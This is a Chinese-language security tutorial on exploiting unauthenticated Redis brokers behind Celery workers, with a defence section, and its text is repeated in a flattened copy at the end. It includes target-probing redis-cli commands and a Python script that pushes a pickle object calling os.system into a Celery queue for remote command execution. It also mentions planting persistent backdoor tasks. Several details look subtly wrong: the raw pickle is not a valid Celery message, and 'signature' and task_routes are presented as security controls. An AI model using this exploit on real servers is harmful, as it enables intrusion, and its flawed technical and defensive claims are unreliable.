Celery Redis未授权访问利用
字数 1115 2025-08-09 22:00:37

Celery Redis未授权访问利用分析

1. 漏洞概述

Celery是一个分布式任务队列系统,常用于异步任务处理。当Celery与Redis结合使用时,如果配置不当导致Redis未授权访问,攻击者可以利用此漏洞执行恶意任务或获取敏感信息。

2. 前置知识

2.1 Celery基础

  • Celery是一个分布式任务队列系统
  • 使用消息代理(如Redis、RabbitMQ)在客户端和工作节点之间传递消息
  • 主要组件:客户端(发布任务)、工作节点(执行任务)、消息代理(存储任务)

2.2 Redis未授权访问

  • Redis默认监听6379端口
  • 未设置密码或配置错误时可被任意主机访问
  • 可导致数据泄露、命令执行等风险

3. 漏洞利用原理

当Celery使用Redis作为消息代理时:

  1. 任务信息以序列化形式存储在Redis中
  2. 攻击者可通过未授权访问的Redis直接插入恶意任务
  3. Celery worker会从Redis获取并执行这些任务

4. 漏洞利用步骤

4.1 环境检测

  1. 扫描目标Redis端口(默认6379)
  2. 测试未授权访问:
    redis-cli -h <target_ip> -p 6379
    
  3. 确认是否为Celery使用的Redis:
    KEYS *
    
    查找包含"celery"关键字的键

4.2 构造恶意任务

  1. 安装Celery和Redis客户端:

    pip install celery redis
    
  2. 创建恶意任务脚本:

import redis
import pickle

# 目标Redis连接
r = redis.Redis(host='<target_ip>', port=6379)

# 构造恶意任务
class Exploit(object):
    def __reduce__(self):
        import os
        return (os.system, ('恶意命令',))

# 序列化恶意对象
exploit = pickle.dumps(Exploit())

# 将任务插入Redis队列
r.lpush('celery', exploit)

4.3 任务执行

  1. 目标Celery worker会自动从Redis获取并执行任务
  2. 恶意命令将在worker所在服务器上执行

5. 高级利用技巧

5.1 信息收集

  • 列出所有队列:
    KEYS celery*
    
  • 查看任务内容:
    LRANGE <queue_name> 0 -1
    

5.2 反序列化利用

  • Celery使用pickle进行任务序列化
  • 可利用pickle反序列化漏洞执行任意代码

5.3 持久化后门

  • 在Redis中插入定期执行的恶意任务
  • 实现持久化控制

6. 防御措施

6.1 Redis安全配置

  1. 设置强密码:
    requirepass <strong_password>
    
  2. 绑定特定IP:
    bind 127.0.0.1
    
  3. 禁用危险命令:
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    

6.2 Celery安全配置

  1. 使用Celery的认证机制:
    app.conf.broker_url = 'redis://:password@localhost:6379/0'
    
  2. 限制可执行任务:
    app.conf.task_routes = {
        'tasks.add': {'queue': 'math'},
    }
    
  3. 使用签名任务:
    from celery import signature
    signed_task = signature('tasks.add', args=(2, 2), kwargs={})
    

6.3 网络防护

  1. 防火墙限制Redis端口访问
  2. 使用VPN或私有网络
  3. 定期审计Redis和Celery配置

7. 检测与响应

7.1 检测方法

  1. 监控Redis异常连接
  2. 检查Celery任务日志中的异常任务
  3. 审计Redis中的任务队列

7.2 应急响应

  1. 立即隔离受影响系统
  2. 重置Redis密码
  3. 检查系统是否已被入侵
  4. 更新Celery和Redis到最新版本

8. 总结

Celery与Redis结合使用时,未授权访问漏洞可能导致严重后果。通过合理配置Redis访问控制、Celery任务认证和网络防护,可以有效降低风险。管理员应定期审计系统配置,监控异常活动,确保分布式任务系统的安全性。

Celery Redis未授权访问利用分析 1. 漏洞概述 Celery是一个分布式任务队列系统,常用于异步任务处理。当Celery与Redis结合使用时,如果配置不当导致Redis未授权访问,攻击者可以利用此漏洞执行恶意任务或获取敏感信息。 2. 前置知识 2.1 Celery基础 Celery是一个分布式任务队列系统 使用消息代理(如Redis、RabbitMQ)在客户端和工作节点之间传递消息 主要组件:客户端(发布任务)、工作节点(执行任务)、消息代理(存储任务) 2.2 Redis未授权访问 Redis默认监听6379端口 未设置密码或配置错误时可被任意主机访问 可导致数据泄露、命令执行等风险 3. 漏洞利用原理 当Celery使用Redis作为消息代理时: 任务信息以序列化形式存储在Redis中 攻击者可通过未授权访问的Redis直接插入恶意任务 Celery worker会从Redis获取并执行这些任务 4. 漏洞利用步骤 4.1 环境检测 扫描目标Redis端口(默认6379) 测试未授权访问: 确认是否为Celery使用的Redis: 查找包含"celery"关键字的键 4.2 构造恶意任务 安装Celery和Redis客户端: 创建恶意任务脚本: 4.3 任务执行 目标Celery worker会自动从Redis获取并执行任务 恶意命令将在worker所在服务器上执行 5. 高级利用技巧 5.1 信息收集 列出所有队列: 查看任务内容: 5.2 反序列化利用 Celery使用pickle进行任务序列化 可利用pickle反序列化漏洞执行任意代码 5.3 持久化后门 在Redis中插入定期执行的恶意任务 实现持久化控制 6. 防御措施 6.1 Redis安全配置 设置强密码: 绑定特定IP: 禁用危险命令: 6.2 Celery安全配置 使用Celery的认证机制: 限制可执行任务: 使用签名任务: 6.3 网络防护 防火墙限制Redis端口访问 使用VPN或私有网络 定期审计Redis和Celery配置 7. 检测与响应 7.1 检测方法 监控Redis异常连接 检查Celery任务日志中的异常任务 审计Redis中的任务队列 7.2 应急响应 立即隔离受影响系统 重置Redis密码 检查系统是否已被入侵 更新Celery和Redis到最新版本 8. 总结 Celery与Redis结合使用时,未授权访问漏洞可能导致严重后果。通过合理配置Redis访问控制、Celery任务认证和网络防护,可以有效降低风险。管理员应定期审计系统配置,监控异常活动,确保分布式任务系统的安全性。